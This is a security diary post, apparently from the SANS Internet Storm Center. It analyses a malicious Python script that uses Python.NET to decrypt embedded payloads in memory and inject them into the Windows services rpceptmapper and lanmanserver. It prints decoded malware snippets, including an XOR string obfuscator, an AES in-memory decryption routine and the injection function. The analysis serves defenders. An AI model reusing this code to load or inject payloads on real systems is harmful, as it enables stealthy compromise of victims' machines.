The Microsoft operating system provides the .Net framework[1] to developers. It allows to fully interact with the OS and write powerful applications... but also malicious ones. In a previous diary[2], I talked about a malicious Python script that interacted with the OS using the ctypes[3] library. Yesterday I found another Python script that interacts with the .Net framework to perform the low-level actions. The script was called 'prophile.py'[4] (SHA256:65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361) has a low VT score of 4/58. Let's have a look at it! First, all interesting strings are obfuscated using a one-liner: >>> URIAbQ=lambda s,k:''.join([chr((ord(c)^k)%0x100) for c in s]) >>> URIAbQ ('\x8d\x98\x8a\x92\x95\x90\x8a\x8d\xd9\xd6\xbf\xb0\xd9\xdb\xaa\xbc\xab\xaf\xb0\xba\xbc\xaa\xd9\x9c\x88\xd9', 249) 'tasklist /FI "SERVICES eq ' As the diary title says, the Python script uses the Python.Net library[5] to interact with the .Net framework: Note: all the snippets of code have been decoded/beautified from System.Security.Cryptography import* from System.Reflection import* import System The script uses encrypted payloads but it was not possible to decrypt them because the script was found outside of its context. Indeed, it expects one command-line argument: if __name__ == "__main__": if len(sys.argv) != 2: exit() The expected parameter is the encryption key as we can see in this function call: payload = DecryptPayloadToMemory(base64.b64decode(payload1[16:]), sys.argv[1], payload1[:16], log_file) I did not found the parameter passed as an argument, no way to decrypt the payloads! These payloads (stored in the script) are decrypted in memory: def DecryptPayloadToMemory(payload, key, iv, log_file): instance = None try: rm = RijndaelManaged(KeySize=128, BlockSize=128) rm.Key = Str2Bytes(key) rm.IV = Str2Bytes(iv) rm.Padding = PaddingMode.PKCS7 payload = Str2Bytes(payload) with System.IO.MemoryStream()as memory_handle: with CryptoStream(memory_handle,rm.CreateDecryptor(rm.Key, rm.IV), CryptoStreamMode.Write) as crypto_handle: crypto_handle.Write(payload, 0, payload.Length) print(crypto_handle.FlushFinalBlock()) memory_handle.Position = 0 instance = System.Array.CreateInstance(System.Byte, memory_handle.Length) memory_handle.Read(instance, 0, instance.Length) except System.SystemException as ex: log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message, ex.StackTrace)) log_file.flush() instance = None return instance The script injects malicious code into two Windows services: process_name = "rpceptmapper" process_name2 = "lanmanserver" Two payloads are injected into these services using the def InjectCode(enc_payld, process_name, log_file, asm): payload = DecryptPayloadToMemory(base64.b64decode(enc_payld[16:]), sys.argv[1], enc_payld[:16], log_file) if payload == None: log_file.write('[!] Failed to get payload') return False try: type = asm.GetType('DefaultSerializer.DefaultSerializer') pid = GetProcessPID(process_name) if pid != 0: NQHRxUDMlW = asm.CreateInstance(type.FullName,False,BindingFlags.ExactBinding,None,System.Array[System.Object]([payload,pid]),None,None) NQHRxUDMlE = type.GetMethod('Invoke') log_file.write(NQHRxUDMlE.Invoke(NQHRxUDMlW, None)) else: log_file.write('[!] Failed to get pid') return True except System.SystemException as ex: log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message,ex.StackTrace)) return False return True Another example of how Python becomes more and more popular for attackers! [1] https://dotnet.microsoft.com/download/dotnet-framework Xavier Mertens (@xme) |
Xme 697 Posts ISC Handler Apr 29th 2021 |
Thread locked Subscribe |
Apr 29th 2021 1 year ago |
Sign Up for Free or Log In to start participating in the conversation!